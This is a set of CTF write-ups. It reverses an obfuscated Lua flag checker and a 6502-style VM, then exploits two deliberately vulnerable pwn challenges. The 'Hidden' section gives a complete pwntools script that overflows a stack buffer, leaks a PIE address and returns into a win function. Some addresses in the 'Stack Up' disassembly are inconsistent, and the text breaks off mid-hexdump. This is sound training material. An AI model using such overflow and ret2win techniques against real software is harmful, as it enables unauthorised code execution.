Category | Reversing |
Solves | 12 |
Difficulty | Medium |
Files | lunar |
Solution
For this challenge we get another archive containing a flag checker. Using file
on the file tells us its Lua bytecode, version 5.1
. Nice, this can be reversed by using unluac, which gives us the following result.
$ java -jar unluac.jar lunar > lunar.lua
Cleaning this up a bit by hand gives us the first part, where some payload is decoded and some helper functions that are used to read various data types from the decoded data buffer.
local function decode_payload(i)
local l, n, c = "", "", {}
local f = 256
local o = {}
for e = 0, f - 1 do
o[e] = string.char(e)
end
local e = 1
local function a()
local l = tonumber(string.sub(i, e, e), 36)
e = e + 1
local n = tonumber(string.sub(i, e, e + l - 1), 36)
e = e + l
return n
end
l = string.char(a())
c[1] = l
while e < #i do
local e = a()
if o[e] then
n = o[e]
else
n = l .. string.sub(l, 1, 1)
end
o[f] = l .. string.sub(n, 1, 1)
c[#c + 1], l, f = n, n, f + 1
end
return table.concat(c)
end
local data = decode_payload("212162751427527823Q22C21Y27727827522A27C27E1625I22B27H27E21Y22D27M27E27P27D27E22827Q27523Q22E27W1623Q27G27T27525I22G28025I22N2801622428822928021Y22M28822K28G28A28427J27S27I23Q22728G22J28822I28G27V28N1628S28N23Q22528B22228023Q29628N21Y22H21Y1627T23322X161327823523823323622R161M27821V22W29O23821223623222R21222O22Y22V22P21O2741227823822R22V22Q29I27823A29M29U1621527821X22X22W22P23822V2362372A323629G22W23921321222N22X2371X2342A022O2B222W22Q29X29Z21222T22X2382AA22T2362A12A322P2141621827822D2BF23823J2162BB2B62BL21223323921222W22X2BJ2BE2BG22R2BI21421222A2BT2122A422V23322W214152781E27E102782392362AH22P162A827522S23J29O29A27Z29228Y27I1621O28G28I2922872CU27822T23222V23827E1O2781K22029E16172782742DM2772842CK2D42DR2DM182752CK2DY2DO2771221K2782E1161W1T2DM1F2DN2DB2E42782EC2DO2EF2752E7212219162CK2772DU21M2EO2ET2DO2121R2ET2CK29J2122BN2EQ2ET2EJ161U2ED181I162CO1N2ED2E32E52752FD2EI2FG2F62ED2E92DM2FA2DO112CU2FK2FP2FS2782F72EV2EN2EP2FB2752ES2CK2CK2EV2EX2G42AE2F12DM2CK2CO1K21N2EU2DP1G2EY162CM2782A828Z2CK2CV27E2DU2DV2ED2762842CO2752CQ2CS2DB2752DD2DF27E2FA2782172DM27E1K2DZ2GU162DQ2G82842GQ27I2G02HH2HD2782E32DM2HB2GG2752HF2ET2HL2DO27I2A82A82HW2HC2DS2G12DM2FI2F42FK2I52902HR2751H2HU2GM2FK1L2GU2272ET27I2IC2G027821C2782I0142EC2762D426U21L2AE27523622V22S22Y29P2GX162CH23922R2382362I3162GZ2CH2CT2GQ2CX29O2IJ2JC23722S2IX162AG2CH2JA1V27822722W23A2372BJ2J22AO29Y2C222R22R22Q2C123622X21222S2A0161A2DP2H32AQ2BI2J82AY27E2AK27829D2I02752HQ2772KO2HC2HA2752HZ2GM2IT2I52GE2G127T2121S2G12CO2GS162FR2I02HQ2CM2GQ2DQ2CM2CM2F02752IS2JB161D2JN2782KD29J27I2EC2KD27I2GL2D42J42EI21S2DM29J2HW2G02KO21Z2JJ2782G82GS1021D2DM1P2ED2GP2FK2MD2DO2L02772FR2KP2JS2CK2LV2KX2DV2HY2DJ27529J2LJ2M72ET2LQ2IT2KR27E28Z2N027E2II2N12KP21E2IA2F42HD1K2N92M12GM2BP2CK2H82DO1021A2DM1X2ED2FJ2782NO2NQ2752162GU2M52L927E2212GK2ED2GX2FR2EC2J4162DI2O42H92FR2MK2GM2LZ2CK1Y2GU2IC2I22IN2IP2IP21V27E2102782L42KP2752DO2LA2N42OS2GJ2OX2MS2OX29J2MZ2HQ2CO2J42HQ2OB2MT2O12ML162HQ2EC2LV1K225161C162LJ2HQ2LM2GS2HQ2KD2PJ2OX1B2LL2P92DY2LT2PC27519162PT2OX29R2DY2OX2FD2LM2OX2HB2PX2HQ2IG2Q02KP2PH2FA29R2OX1J2PU2OX2GI2QB2IB29Q2P92F72FD2OX2JS2HQ2PY162L42QO162EA2IG2OX1Q2PI2P92EX2H62PC2PH2DI2R02MD2QK2OX2742GI2OX2132QL2QX2OP2IC2OX2112FL2OX2OG2RF2QX1Z162RI2QX1W162QT2QX2NO2JS2CL2NR2FE2HB2KS1022C2DM2OU2H921P2OL2782SG2LW2SC2M32SF2GT2SJ2H92PC22B2DB2OR2HE2KV2DB2EA2HQ29J2R52HX2SD2QX2A82SU2DQ2MS2EX2KX2E227E29J2L72752CO2HI2MU2DW2NL2AE2GF2SE2F52TM2FV2752M52MI2GF29J2DI2N82G12MD2782Q029J2N12F521U2ED2L02TV2DJ2N92CO2DQ2PZ2AE2N72IO2OT27E")
local bit_xor = bit32 and bit32.bxor or function(e, l)
local n, o = 1, 0
while 0 < e and 0 < l do
local t, c = e % 2, l % 2
if t ~= c then
o = o + n
end
e, l, n = (e - t) / 2, (l - c) / 2, n * 2
end
if e < l then
e = l
end
while 0 < e do
local l = e % 2
if 0 < l then
o = o + n
end
e, n = (e - l) / 2, n * 2
end
return o
end
local valueForBitRange = function(l, e, n)
if n then
local e = l / 2 ^ (e - 1) % 2 ^ (n - 1 - (e - 1) + 1)
return e - e % 1
else
local e = 2 ^ (e - 1)
return e <= l % (e + e) and 1 or 0
end
end
local e = 1
local function readInt()
local l, n, c, t = string.byte(data, e, e + 3)
l = bit_xor(l, 6)
n = bit_xor(n, 6)
c = bit_xor(c, 6)
t = bit_xor(t, 6)
e = e + 4
return t * 16777216 + c * 65536 + n * 256 + l
end
local function readByte()
local l = bit_xor(string.byte(data, e, e), 6)
e = e + 1
return l
end
local function readShort()
local l, n = string.byte(data, e, e + 2)
l = bit_xor(l, 6)
n = bit_xor(n, 6)
e = e + 2
return n * 256 + l
end
local function readFloat()
local e = readInt()
local l = readInt()
local t = 1
local o = valueForBitRange(l, 1, 20) * 4294967296 + e
local e = valueForBitRange(l, 21, 31)
local l = (-1) ^ valueForBitRange(l, 32)
if e == 0 then
if o == 0 then
return l * 0
else
e = 1
t = 0
end
elseif e == 2047 then
return o == 0 and l * (1 / 0) or l * (0 / 0)
end
return math.ldexp(l, e - 1023) * (t + o / 4503599627370496)
end
local function readByteArray(l)
local n
if not l then
l = readInt()
if l == 0 then
return ""
end
end
n = string.sub(data, e, e + l - 1)
e = e + l
local l = {}
for e = 1, #n do
l[e] = string.char(bit_xor(string.byte(string.sub(n, e, e)), 6))
end
return table.concat(l)
end
From the structure we can assume the obfuscator used was ironbrew-2. The obfuscator uses a vm-like
structure to represent and obfuscate code. The payload contains the bytecode, which is executed and the following part loads and initializes the vm runtime.
local e = l
local function createTableAndCount(...)
return {
...
}, select("#", ...)
end
local function loadImage()
local i = {}
local o = {}
local e = {}
local d = {
i,
o,
nil,
e
}
local e = readInt()
local t = {}
for n = 1, e do
local l = readByte()
local e
if l == 3 then
e = readByte() ~= 0
elseif l == 2 then
e = readFloat()
elseif l == 0 then
e = readByteArray()
end
t[n] = e
end
for e = 1, readInt() do
o[e - 1] = loadImage()
end
for d = 1, readInt() do
local e = readByte()
if valueForBitRange(e, 1, 1) == 0 then
local o = valueForBitRange(e, 2, 3)
local f = valueForBitRange(e, 4, 6)
local e = {
readShort(),
readShort(),
nil,
nil
}
if o == 0 then
e[3] = readShort()
e[4] = readShort()
elseif o == 1 then
e[3] = readInt()
elseif o == 2 then
e[3] = readInt() - 65536
elseif o == 3 then
e[3] = readInt() - 65536
e[4] = readShort()
end
if valueForBitRange(f, 1, 1) == 1 then
e[2] = t[e[2]]
end
if valueForBitRange(f, 2, 2) == 1 then
e[3] = t[e[3]]
end
if valueForBitRange(f, 3, 3) == 1 then
e[4] = t[e[4]]
end
i[d] = e
end
end
d[3] = readByte()
return d
end
After this the interesting part starts. The function run
executes the logic. For this the code is split into functional fragments which are executed with associated opcodes
. To analyze this we can print the opcode, that will effectively give us the program flow.
local function run(e, d, a)
local n = e[1]
local l = e[2]
local e = e[3]
return function(...)
local t = n
local D = l
local o = e
local i = s
local l = 1
local c = -1
local C = {}
local s = {
...
}
local F = select("#", ...) - 1
local r = {}
local n = {}
for e = 0, F do
if o <= e then
C[e - o] = s[e + 1]
else
n[e] = s[e + 1]
end
end
local e = F - o + 1
local e, o
while true do
e = t[l]
o = e[1]
# added to dump the opcodes
print(o)
if o <= 46 then
if o <= 22 then
if o <= 10 then
if o <= 4 then
if o <= 1 then
if o == 0 then
local o = e[2]
local t = n[o]
local c = n[o + 2]
if 0 < c then
if t > n[o + 1] then
l = e[3]
else
n[o + 3] = t
end
elseif t < n[o + 1] then
l = e[3]
else
n[o + 3] = t
end
else
local e = e[2]
n[e](f(n, e + 1, c))
end
elseif o <= 2 then
if n[e[2]] then
l = l + 1
else
l = e[3]
end
-- ... snip
When executing, we get something like this:
50
47
47
47
40
4
84
84
24
Enter the flag: asd
27
42
70
53
42
70
53
42
70
53
7
43
7
32
42
58
Input length needs to be 39 characters!
2
42
35
34
Sorry, the flag is not correct. Try again.
17
Right, we know the flag needs to be 39 characters wide. Lets try again. This time the program flow looks different. A lot sequences repeat which suggests that those parts run per flag character.
50
47
47
47
40
4
84
84
24
Enter the flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
27
42
70
53
42
70
53
...
7
43
7
32
86
35
7
35
92
42
68
87
80
48
8
74
65
37
46
42
30
22
61
53
42
68
87
80
48
...
8
74
65
37
46
42
30
22
61
53
35
42
10
81
46
13
63
46
35
74
13
63
46
35
74
13
63
...
43
7
76
79
61
2
42
35
34
Sorry, the flag is not correct. Try again.
17
By going opcode by opcode and checking the functionality we can make sense out of the flow. And/or find interesting parts where we can print informations. For instance, opcode 50
and 47
are initializing an array with values.
-- opcode 50
n[e[2]] = {}
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
-- opcode 47
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
Opcode 40 copies the array to some memory location, and opcode 24 prints the input prompt and reads input.
-- opcode 40
local l = e[2]
local o = n[l]
for e = l + 1, e[3] do
table.insert(o, n[e])
end
Going through the whole sequence bit by bit gives us eventually enough informations to reverse the full flow and lets us recreate the original lua code.
local flag = {
0x4a,0x50,0x57,0x4d,0x4c,0x58,0x50,0x42,0x52,0x7b,0x57,0x67,0x34,0x5f,0x61,0x6b,0x34,0x5f,0x65,0x4f,0x34,0x5f,0x4f,0x33,0x75,0x5f,0x73,0x67,0x59,0x5f,0x32,0x37,0x34,0x38,0x39,0x32,0x37,0x33,0x7d
}
local function encryptChar(char, shift)
local byte = string.byte(char)
if byte >= 65 and byte <= 90 then
byte = ((byte - 65 + shift) % 26) + 65
elseif byte >= 97 and byte <= 122 then
byte = ((byte - 97 + shift) % 26) + 97
end
return string.char(byte)
end
local function check(input, idx)
local enc = encryptChar(string.char(input), idx)
if enc == string.char(flag[idx]) then
return true
else
return false
end
end
local function checkFlag(input)
local inputBinary = {}
for i = 1, #input do
table.insert(inputBinary, string.byte(input:sub(i, i)))
end
if #inputBinary ~= #flag then
print("Input length needs to be " .. #flag .. " characters!")
return false
end
local checkResult = {}
for i = 1, #inputBinary do
table.insert(checkResult, check(inputBinary[i], i))
end
local count = 0
for i, value in ipairs(checkResult) do
count = count + (value and 1 or 0)
end
return count == #flag
end
io.write("Enter the flag: ")
local input = io.read()
if checkFlag(input) then
print("Congratulations! You've found the correct flag.")
else
print("Sorry, the flag is not correct. Try again.")
end
With this we can create a script that decodes the flag for us.
flag = [0x4a,0x50,0x57,0x4d,0x4c,0x58,0x50,0x42,0x52,0x7b,0x57,0x67,0x34,0x5f,0x61,0x6b,0x34,0x5f,0x65,0x4f,0x34,0x5f,0x4f,0x33,0x75,0x5f,0x73,0x67,0x59,0x5f,0x32,0x37,0x34,0x38,0x39,0x32,0x37,0x33,0x7d]
def decrypt_char(byte, shift):
if 65 <= byte <= 90:
byte = ((byte - 65 - shift + 26) % 26) + 65
elif 97 <= byte <= 122:
byte = ((byte - 97 - shift + 26) % 26) + 97
return chr(byte)
for i, c in enumerate(flag):
print(decrypt_char(c, i+1), end="")
Another possible solution would be to brute force the flag. This works by injecting print statements in some opcode that returns conditional results based on, if the current flag character is valid or not.
import subprocess
def run_command(command, input_data):
try:
result = subprocess.run(command, input=input_data, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return result.stdout
except subprocess.CalledProcessError as e:
print(f"Error: {e}")
return None
command_to_run = ["lua", "decomp.lua"]
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_\{\}'
flag_length = 39
flag = ""
true_count = 0
while true_count < flag_length:
for char in characters:
current_attempt = flag + char + "A" * (flag_length - len(flag) - 1)
result = run_command(command_to_run, current_attempt)
if result and result.count("true") > true_count:
flag += char
true_count += 1
print("Final flag:", flag)
"""
In the decompiled lua code add this print statement:
elseif o <= 61 then
print(n[e[2]])
return n[e[2]]
"""
Both methods will give the flag.
Flag INTIGRITI{Lu4_lu4_lU4_R3v_reV_27489273}
Impossible Mission
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud & DavidP |
Category | Reversing |
Solves | 5 |
Difficulty | Medium |
Files | impossible.zip |
Solution
We are provided with two files. One binary and one file with data in it. If we use strings
on file program.prg
we don't get any results.
Lets see what happens if we run the binary. If we just run it we are provided with a help output describing commandline arguments. There are some options we can choose from and we need to pass in a program file. Lets try this:
$ ./runtime program.prg
READY.
test
?SYNTAX ERROR
READY.
Seems to be some kind of virtual machine where the runtime
executes the program.prg
. To see whats going on we can open the binary with Ghidra
. The binary is stripped but we can easily find main
via _entry
. The main function looks something like this:
undefined8 main(int param_1,long param_2)
{
int iVar1;
undefined8 local_1030;
char local_1028 [4096];
undefined8 local_28;
int local_1c;
long local_18;
int local_10;
int local_c;
local_c = 0;
local_10 = 0;
local_18 = 0;
memset(local_1028,0,0x1000);
local_1c = 1;
do {
if (param_1 <= local_1c) {
if (local_c != 0) {
local_10 = 0;
}
if (local_18 == 0) {
printf("usage: %s [options] program\n options:\n -a, --asm assemble source\n -o, --ou tput set output name for assembler"
,"runtime");
}
else {
local_28 = FUN_001041d2(local_18,&local_1030);
if (local_10 != 0) {
FUN_00103f87();
FUN_00103ffa(local_28,local_1030);
FUN_001040b8();
FUN_00103ff3();
}
FUN_001042b3(local_28);
}
return 0;
}
if (**(char **)(param_2 + (long)local_1c * 8) == '-') {
iVar1 = strcmp(*(char **)(param_2 + (long)local_1c * 8),"--asm");
if (iVar1 != 0) {
iVar1 = strcmp(*(char **)(param_2 + (long)local_1c * 8),"-a");
if (iVar1 != 0) {
iVar1 = strcmp(*(char **)(param_2 + (long)local_1c * 8),"--out");
if (iVar1 != 0) {
iVar1 = strcmp(*(char **)(param_2 + (long)local_1c * 8),"-o");
if (iVar1 != 0) goto LAB_001023eb;
}
if (local_1c + 1 < param_1) {
strncpy(local_1028,*(char **)(param_2 + ((long)local_1c + 1) * 8),0x1000);
local_1c = local_1c + 1;
}
goto LAB_001023eb;
}
}
local_c = 1;
}
else {
local_18 = *(long *)(param_2 + (long)local_1c * 8);
local_10 = 1;
}
LAB_001023eb:
local_1c = local_1c + 1;
} while( true );
}
We can ignore most of function main as it is code that parses commandline arguments, although the different options are not doing anything meaningful. Maybe a remnant that was forgotten? Who knows... The interesting part is reached if a program name is passed as argument.
local_28 = FUN_001041d2(local_18,&local_1030);
if (local_10 != 0) {
FUN_00103f87();
FUN_00103ffa(local_28,local_1030);
FUN_001040b8();
FUN_00103ff3();
}
FUN_001042b3(local_28);
Analyzing the functionality a bit further, we can rename the functions. From top to bottom it looks like the program file is loaded to a buffer. The vm is initialized and the buffer is loaded by the vm. Then the program is executed. All in all the cleaned up code looks like this.
local_28 = load_data_from_file(local_18,&local_1030);
if (local_10 != 0) {
initialize();
load_program(local_28,local_1030);
run();
does_nothing();
}
free_buffer(local_28)
The function run
is a simple loop calling a simulation step per loop cycle. Function step
reads the next opcode from our code and uses the opcode as loopup index into a array containing function pointers. We can assume the array contains pointers to the opcode handlers. From read8bytes
we can deduce some more informations. We see that our program counter is stored at DAT_00108900
and our vm memory is stored at DAT_00108908
.
void run(void)
{
int iVar1;
do {
iVar1 = step();
} while (iVar1 != 0);
return;
}
bool step(void)
{
code *pcVar1;
byte bVar2;
bVar2 = read8bytes();
pcVar1 = *(code **)(&DAT_001080c0 + (long)(int)(uint)bVar2 * 8);
if (pcVar1 == (code *)0x0) {
panic();
}
(*pcVar1)();
return DAT_00108900 != -1;
}
undefined read8bytes(void)
{
uint uVar1;
if (0xcffe < ProgramCounter) {
panic();
}
uVar1 = (uint)ProgramCounter;
ProgramCounter = ProgramCounter + 1;
return (&VmMemory)[(int)uVar1];
}
Going back to load_program
we can see that our program counter is initialized with 0xc000
, we can assume this is the base address our program is loaded to.
bool load_program(void *param_1,size_t param_2)
{
if ((long)param_2 < 0x1001) {
memcpy(&DAT_00114908,param_1,param_2);
FUN_0010269e(0xffff);
ProgramCounter = 0xc000;
}
return (long)param_2 < 0x1001;
}
Knowing where to find the opcode handler lookup table we can retype the array to void*
and can start reversing the opcode handlers. For instance the function at index 8
writes a value to the vm memory
at index DAT_00108906 + 0x100
. This could be a push
operation. We can rename DAT_00108906
to StackPointer
.
void push(undefined param_1)
{
(&VmMemory)[(int)(StackPointer + 0x100)] = param_1;
StackPointer = StackPointer - 1;
return;
}
The function at index 9
reads 8 bytes and does a bitwise or
with what is at DAT_00108902
. We rename this to OR
and move on.
void OR(void)
{
byte bVar1;
bVar1 = read8bytes();
DAT_00108902 = bVar1 | DAT_00108902;
FUN_001025fa(0x80,DAT_00108902 & 0x80);
FUN_001025fa(2,DAT_00108902 == 0);
return;
}
After a while the functionality of the vm opcodes should become clear. We find that, opcodes use 8 bytes. Then, depending on the opcode are 0, 1 or 2 bytes of instruction parameters. Another conclusion we might draw is (also the input prompt gives this away as an hint) that this vm is implementing a 6502 instruction set. With this at hand we write a small disassembler so we can make sense out of the program image.
One thing to note is that values might not be recognized but the program starts with a JMP
skipping some parts of the binary. These parts typically hold data, so we either can trace the flow and decide which parts are not reached or we just guess the initial jump skips the data section. Now we have the disassembly we need to understand the functionality and attach some comments.
00ae LDX 3
00b0 JSR ffc9 ; ffc9 is kernal routine CHKOUT, channel 3 (screen) is set as output channel
00b3 LDA 2e
00b5 STA fb
00b7 LDA c0
00b9 STA fc ; store 16 bit address $c02e to zero page at $fb, $fc
00bb JSR c099 ; call subroutine at $c099
The subroutine at $99
(remember our base address is $c000
) was not dumped, so there is more code before the program start. We readjust our offset manually and continue.
Subroutine $c099
.
0099 LDY ff ; initialize Y
009b INY ; increment, Y will wrap around to `0`
009c LDA (fb), y ; load 16 bit address from zero page at $fb,$fc
009e ASL
009f BCC 2
00a1 ORA 1
00a3 ASL
00a4 BCC 2
00a6 ORA 1
00a8 JSR ffd2 ; ffd2 is kernal routine CHROUT, this prints the value at AC to screen
00ab BNE ee ; if character was not `\x00` we are not finished
00ad RTS
This routine prints a string to screen. But there is a bit of bit shifting going on. We can translate this to the following python code (string is taken from the hexdump offset 1C):
string = [0xD4, 0x55, 0xD0, 0xD0, 0x51, 0xD4, 0xD4, 0x8B, 0x8B, 0x8B, 0x08, 0xD4, 0x12, 0x55, 0x15, 0x15, 0x52, 0x93, 0xD1, 0x08, 0x11, 0xD3, 0xD5, 0x93, 0x8B, 0x82]
for x in string:
b = (x & 0x80) >> 7
x = ((x << 1) & 0xff) | b
b = (x & 0x80) >> 7
x = ((x << 1) & 0xff) | b
print(chr(x),end="")
Calling this gives us:
$ python decode_string.py
SUCCESS... SHUTTING DOWN.
Perfect, this way we can decode all string from the data section. All in all we get:
SUCCESS... SHUTTING DOWN.
?SYNTAX ERROR
READY.
Ok, we knew these strings already, and no flag.. Lets continue analyzing the dissassembly.
00be LDX 0
00c0 LDA 0
00c2 STA c07c ; store `0` to `$c07c`
00c5 JSR ffcf ; ffcf is kernal routine CHRIN, this reads a character from keyboard
00c8 CMP d
00ca BEQ 21
00cc CMP a
00ce BEQ 1d ; check if the character is carriage return or newline. if so we leave the input loop
00d0 PHA ; store LDA on stack
00d1 LDA c07c ; load LDA with value at `$c07c`
00d4 CMP 46 ; compare if with 70
00d6 PLA ; restore LDA
00d7 BEQ 14 ; if the value at `$c07c` equals 46, we leave the input loop
00d9 CMP 20
00db BMI e8
00dd CMP 7e
00df BPL e4 ; compare input value to be in range $20-$7e so printable character range
00e1 STA c036, x ; store the user input value in memory
00e4 INX ; increment X
00e5 INC c07c ; increment value at `$c07c`, we can assume this is the input length stored in a variable
00e8 JMP c0c5 ; jump back to input loop start
The part reads user input and stores the input in memory. Only readable characters are accepted and the maximum user input is 70. Ok, moving on...
00eb some var
00ec some var
00ed LDX ff ; loads $ff to X
00ef INX ; increment X, X will wrap around to `0`
00f0 LDA c07d, x ; load value from `$c07d` at index X
00f3 CMP 0 ; check loaded byte against `0`
00f5 BNE f8 ; if byte was not `0` continue counting
00f7 TXA ; copy X to AC
00f8 CMP c07c ; compare length of string at `$c07d` against user input length
00fb BNE 35 ; if not equal jump to $0132 (relative jump offset)
This first calculates the length of a string stored at $c07d
and compares the length against the user input length. We can assume the flag is stored in memory at $c07d
and this code compares the input length against flag length. Since we now know where the flag is stored, we should try to decode it with our string decoding functionality we found before.
$ python decode_string.py
R^ÁJ rú¥a<¸ï©Ø\¼,7
Well... no. So we continue with our analysis. Lets see where the code jumps to if the string length doesn't match. This should be the fail handler.
0132 LDA a
0134 JSR ffd2 ; output newline to screen
0137 LDA 1e
0139 STA fb
013b LDA c0
013d STA fc ; store address of string `?SYNTAX ERROR`
013f JSR c099 ; call print subroutine
0142 JMP c0ae ; jump back to start
Yes, this prints the ?SYNTAX ERROR
error message. The remaining code is getting short, but this should be the interesting part.
00fd LDX 0 ; load `0` to X
00ff LDA c07d, x ; read flag character at offset X to register AC
0102 CMP 0 ; check if we reached the string end
0104 BEQ 1b ; jump out of the loop, if we did
0106 STX c0eb ; store X to temporary variable
0109 EOR c0eb ; xor AC with current offset (X)
010c ASL
010d ADC 80
010f ROL
0110 ASL
0111 ADC 80
0113 ROL ; do some bit twiddles to swap high/low nibble of byte
0114 EOR c036, ; xor AC with user input at offset X
0117 ORA c0ec ; bitwise or AC with value at `$c0ec`
011a STA c0ec ; store result in `$c0ec`
011d INX ; move to next character
011e JMP c0ff ; jump back to loop start
0121 LDA c0ec
0124 BNE c ; check if value at `$c0ec` is zero, if not we jump to fail handler
0126 LDA 3
0128 STA fb
012a LDA c0
012c STA fc ; load address of string `SUCCESS... SHUTTING DOWN.`
012e JSR c099 ; call print subroutine
0131 RTS
Ok, here we have it. The code loops over the flag and user input, decodes one character of the flag and compares it against the current user input character. The comparison is tracked for each character of a string as a bitmask and at the end the code checks if the bitmask is still zero, meaning the user input matches with the flag. With this we can grab the encoded flag bytes and try to decode them with a small script.
data = [0x94, 0xE5, 0x47, 0x97, 0x70, 0x20, 0x92, 0x42, 0x9C, 0xBE, 0x69, 0x58, 0x0F, 0x2E, 0xFB, 0x6A, 0xC4, 0x26, 0xE7, 0x36, 0x17, 0x23, 0xA0, 0x20, 0x2F, 0x0B, 0xCD]
flag = ""
for i, c in enumerate(data):
# xor with key
c ^= i
# swap nibbles
c = ((c & 0x0F) << 4 | (c & 0xF0) >>4)
flag = flag + chr(c)
print(flag)
And yes, running this will finally give us the flag.
Flag INTIGRITI{6502_VMs_R0ckss!}
Source code of the vm can be found here.
Hidden
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud |
Category | Pwn |
Solves | 111 |
Difficulty | Easy |
Files | hidden.zip |
Solution
When unzipping we get a binary. Lets check the protections:
So all protections enabled. We can check the main function and see that it calls the input
function:
When we check the input
function we see that there is no canary in this function. There is also a buffer overflow vulnerability. We can read 0x50 bytes into a buffer on the stack with a smaller size:
There is also a win function called _
:
So we can just overflow and jump to the win function, but because of PIE that is enabled we can't do this. We need to leak. If we check close at the input()
we can see that after the read call it prints our input with puts
. Puts reads till it find a null byte and because we have an overflow we can fill the entire buffer till the return address and leak the return address. But we also need to jump back so we need to overwrite the lsb of the return address(last 3 nibbels stays the same):
So when we jumped back to main with the leak we know the address of the win function. We then can do a normal ret2win to get the flag.
solve.py
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
'''.format(**locals())
exe = './chall'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
#context(terminal=['tmux', 'split-window', '-h'])
io = start()
payload = flat (
b'A' * 72,
p8(0x1a)
)
io.sendafter(b':\n', payload)
io.recvuntil(b'A' * 72)
leak = u64(io.recvline()[:-1].ljust(8, b'\x00'))
elf.address = leak - 0x131a
log.success("Main address: %#x", leak)
log.success("Binary base: %#x", elf.address)
payload = flat (
b'A' * 72,
p64(elf.sym._)
)
io.sendafter(b':\n', payload)
io.interactive()
Stack Up
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud & DavidP |
Category | Pwn |
Solves | 3 |
Difficulty | Easy |
Files | stackup.zip |
Solution
We are provided with two files. This chall is similar to the Impossible Mission
challenge, but now its an pwn challenge. One binary and one file with data in it. If we use strings
on file program.prg
we get some strings, like the REDACTED flag:
$ strings program.prg
INTIGRITI{REDACTED_REDACTED}
Welcome! Something here...
Bye bye!
Hello
Lets disassemble it with our disassembler that we created in the reversing challenge. Here the output(With some comments of my own):
; Set keyboard as active input channel
004c LDX 3
004e JSR ffc9
; Start of the program.
0051 LDA 20
0053 STA fb
0055 LDA c0
0057 STA fc
0059 JSR c0c9 ; Jumps to the print function
005c JSR c06d ; Jumps to the function that takes our input
005f LDA 3c ; Loads bye bye message
0061 STA fb
0063 LDA c0
0065 STA fc
0067 JSR c0c9 ; Jumps to the print function
006a RTS ; Exits
; Take our input and does some checks
006b some var
006c some var
006d CLC
006e TSX
006f STX c06b ; Stores the SP at some memory
0072 TXA
0073 SBC 32 ; Substract 0x32/50 from the SP
0075 TAX
0076 DEX
0077 TXS
0078 STA fd
007a LDA 1
007c STA fe
007e LDY 0
0080 LDA 0
0082 STA c06c
0085 JSR ffcf ; This will take our input
0088 PHA
0089 LDA c06c ; Loads our input length in the accumulator
008c CMP 64 ; Compares our input length in the accumulator with 0x64/100. 100 is Maxsize. OVERFLOW is here because we can input more characters than the buffer can take(50)
008e PLA
008f BEQ 11
0091 STA (fd), y
0093 INY
0094 INC c06c ; Increments our input length
0097 CMP d ; d is 0x13(carriage return) so checks if user clicks on enter
0099 BEQ 7
009b CMP a ; a is 0x10(newline) so checks if user clicks on enter
009d BEQ 3
009f JMP c085
00a2 LDA 45
00a4 STA fb ; Loads Hello message
00a6 LDA c0
00a8 STA fc
00aa JSR c0c9 ; Jumps to the print function
00ad LDA fd ; Loads our input
00af STA fb
00b1 LDA fe
00b3 STA fc
00b5 JSR c0c9 ; Jumps to the print function
00b8 LDX c06b ; Grabs the SP and puts in the X register
00bb TXS
00bc RTS
; Win function
00bd LDA 3 ; Loads the flag
00bf STA fb
00c1 LDA c0
00c3 STA fc
00c5 JSR c0c9 ; Jumps to the print function
00c8 RTS
; Print function
00c9 LDY ff
00cb INY
00cc LDA (fb), y
00ce JSR ffd2
00d1 BNE f8
00d3 RTS
So from here we can see that we have an buffer overflow vulnerability and that there is a win function. We know 50 is the length so everything above 50 will be overflow. Our padding will be 51 because the buffer is 50 and SP points after the return address. We can also see it in the disassembled output:
006e TSX ; Puts SP in X register
006f STX c06b ; Stores the SP at some memory
0072 TXA ; Puts value at X register in accumulator
0073 SBC 32 ; Substract 0x32/50 from the SP
0075 TAX ; Puts accumulator back in X register
0076 DEX ; Decrements X by 1
0077 TXS ; Puts the value in the X register in the SP register
How do we know where we need to return? When we decompile the binary with ghidra for example, we can find the init function:
bool load_program(void *param_1,size_t param_2)
{
if ((long)param_2 < 0x1001) {
memcpy(&DAT_00114908,param_1,param_2);
FUN_0010269e(0xffff);
DAT_00108900 = 0xc000; // program is loaded to 0xC000
}
return (long)param_2 < 0x1001;
}
We can see here that the base address is 0xc000. In the disassembled output from before we can see some addresses like c0c4
, c081
. Those are all addresses in the program. So to get the win address we can see in the disassembled output that the win starts at 00b8
:
; Win function
00b8 LDA 3 ; Loads the flag
00ba STA fb
00bc LDA c0
00be STA fc
00c0 JSR c0c4 ; Jumps to the print function
00c3 RTS
So the address is 0xc0b8
. We see that it loads the flag at offset 3. So lets see if the flag is there:
,------- flag value --------------------.
v v
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 4c 4c c0 49 4e 54 49 47 ┊ 52 49 54 49 7b 52 45 44 │LL×INTIG┊RITI{RED│
